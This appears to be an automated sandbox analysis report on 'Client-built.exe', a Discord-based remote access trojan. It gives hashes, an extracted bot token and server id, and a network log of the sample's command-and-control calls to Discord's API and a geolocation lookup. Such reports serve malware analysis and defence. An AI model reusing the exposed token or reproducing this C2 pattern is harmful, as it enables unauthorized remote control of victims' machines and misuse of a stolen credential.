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Analysis

  • max time kernel
    93s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/07/2024, 14:22 UTC

General

  • Target

    Client-built.exe

  • Size

    78KB

  • MD5

    3fa3a056ee826c171b5a028d686a6f89

  • SHA1

    624bb8dfc93d71f6a4b87a3cce263a90f2a11333

  • SHA256

    d6b2fc515713b8c80e13cfcc95360690f37ac10195501a9a29b643c5a24db8d4

  • SHA512

    8371d1fcb7bf9f600862ce184fb0fd7a7672de1408875a1feea54fa0f958a2e4815e0a76d82216c9c3c5dc6559b18aafcf217bf7284453a415f17c0bba17fa65

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+zPIC:5Zv5PDwbjNrmAE+rIC

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4

  • server_id

    1253923425735675915

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
    "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4680

Network

  • flag-us
    DNS
    gateway.discord.gg
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.134.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    Client-built.exe
    Remote address:
    162.159.130.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: QkvUxNit/f2tADZOXjnj6A==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Mon, 15 Jul 2024 14:23:04 GMT
    Connection: upgrade
    sec-websocket-accept: NMjnyz9LInzv6XMHBd8qrNU5mew=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cfMbKzrMiTBX%2BpC0wnSQ1JN7E7hsDcKA7M6n6BeKqCaASrVO8cEHA5Hwh4D2%2FqlU8liYzeHOnTpTd28%2F5q6QOFOosJNm7dVam6Jo2nXpUSZNogroTtHLEJHm27HvM3p8ruEXAg%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8a3a68822d5453a4-LHR
  • flag-us
    DNS
    discord.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.128.233
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.138.232
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1253923425735675915/channels
    Client-built.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/guilds/1253923425735675915/channels HTTP/1.1
    authorization: Bot MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Mon, 15 Jul 2024 14:23:05 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=c0193d9642b511efba11ea5d252053fb; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1998
    x-ratelimit-reset: 1721139672.597
    x-ratelimit-reset-after: 86287.585
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IamHSIaiyfj5OoCVekUr6VeWtfVcvOafXYejFxIS%2BBK2XcEi4b%2BE8kfRjHp2XXsTdoggExFAN2TdPGS8pDvgWviTPaOWvZWvDjO%2B8ml9%2BOT%2FU8f%2FVskPFcW3FVhb"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=c0193d9642b511efba11ea5d252053fb3d109a513cc3a90f051e637b5ae85035a4aac80431dd00cf8afe776a7469edc4; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=0658667af2d3a685ff4433899bc19b8d7775e281-1721053385; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=OEQ9y7Zm3rsidcnN.pW07Ltz4LfFFoCY6HMPqKGEI.Q-1721053385161-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8a3a68878d52653d-LHR
  • flag-us
    DNS
    234.130.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.130.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    73.144.22.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    73.144.22.2.in-addr.arpa
    IN PTR
    Response
    73.144.22.2.in-addr.arpa
    IN PTR
    a2-22-144-73deploystaticakamaitechnologiescom
  • flag-us
    DNS
    133.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.156.103.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.156.103.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    232.135.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.135.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    geolocation-db.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Mon, 15 Jul 2024 14:23:05 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Mon, 15 Jul 2024 14:23:05 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1262414138123092000/messages
    Client-built.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1262414138123092000/messages HTTP/1.1
    authorization: Bot MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 115
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Mon, 15 Jul 2024 14:23:05 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=c06b5c6642b511efb88a9678bab0cd85; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1721053386.617
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BdlQhOshLZMPwhXv9piv87%2FNfncMBVWLB3LV7dpy8sTOpV4geCN5s5ynyL0flGql0ui7rnRiyNnp%2FZWjfF%2FutRlVuDvPZD8MA2yS7qaJw9xEK7C2XxkIwMmJwlpf"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=c06b5c6642b511efb88a9678bab0cd85a0bec920430816d02b003307a74ba79ae4513fc63f8ed5c287e35c4d7010d20e; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=0658667af2d3a685ff4433899bc19b8d7775e281-1721053385; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=jKLbcMvjzR7cYg6no3802130n2NQSnurobj_374pt8Q-1721053385700-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8a3a688b88bb9442-LHR
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    157.123.68.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    157.123.68.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    192.142.123.92.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    192.142.123.92.in-addr.arpa
    IN PTR
    Response
    192.142.123.92.in-addr.arpa
    IN PTR
    a92-123-142-192deploystaticakamaitechnologiescom
  • flag-us
    DNS
    240.221.184.93.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    240.221.184.93.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    29.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    29.243.111.52.in-addr.arpa
    IN PTR
    Response
  • 162.159.130.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    Client-built.exe
    2.3kB
    33.0kB
    31
    43

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.135.232:443
    https://discord.com/api/v9/guilds/1253923425735675915/channels
    tls, http
    Client-built.exe
    1.1kB
    5.3kB
    11
    12

    HTTP Request

    POST https://discord.com/api/v9/guilds/1253923425735675915/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    Client-built.exe
    894 B
    4.5kB
    10
    11

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1262414138123092000/messages
    tls, http
    Client-built.exe
    1.2kB
    2.9kB
    8
    9

    HTTP Request

    POST https://discord.com/api/v9/channels/1262414138123092000/messages

    HTTP Response

    200
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    Client-built.exe
    64 B
    144 B
    1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.130.234
    162.159.133.234
    162.159.135.234
    162.159.136.234
    162.159.134.234

  • 8.8.8.8:53
    discord.com
    dns
    Client-built.exe
    57 B
    137 B
    1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.135.232
    162.159.137.232
    162.159.128.233
    162.159.136.232
    162.159.138.232

  • 8.8.8.8:53
    234.130.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    234.130.159.162.in-addr.arpa

  • 8.8.8.8:53
    73.144.22.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    73.144.22.2.in-addr.arpa

  • 8.8.8.8:53
    133.32.126.40.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    133.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    88.156.103.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    88.156.103.20.in-addr.arpa

  • 8.8.8.8:53
    232.135.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    232.135.159.162.in-addr.arpa

  • 8.8.8.8:53
    geolocation-db.com
    dns
    Client-built.exe
    64 B
    80 B
    1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
    140 B
    1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    157.123.68.40.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    157.123.68.40.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    192.142.123.92.in-addr.arpa
    dns
    73 B
    139 B
    1
    1

    DNS Request

    192.142.123.92.in-addr.arpa

  • 8.8.8.8:53
    240.221.184.93.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    240.221.184.93.in-addr.arpa

  • 8.8.8.8:53
    29.243.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    29.243.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/4680-0-0x0000018F1E350000-0x0000018F1E368000-memory.dmp

    Filesize

    96KB

  • memory/4680-2-0x0000018F38A20000-0x0000018F38BE2000-memory.dmp

    Filesize

    1.8MB

  • memory/4680-1-0x00007FFBA4020000-0x00007FFBA4042000-memory.dmp

    Filesize

    136KB

  • memory/4680-3-0x0000018F39220000-0x0000018F39748000-memory.dmp

    Filesize

    5.2MB

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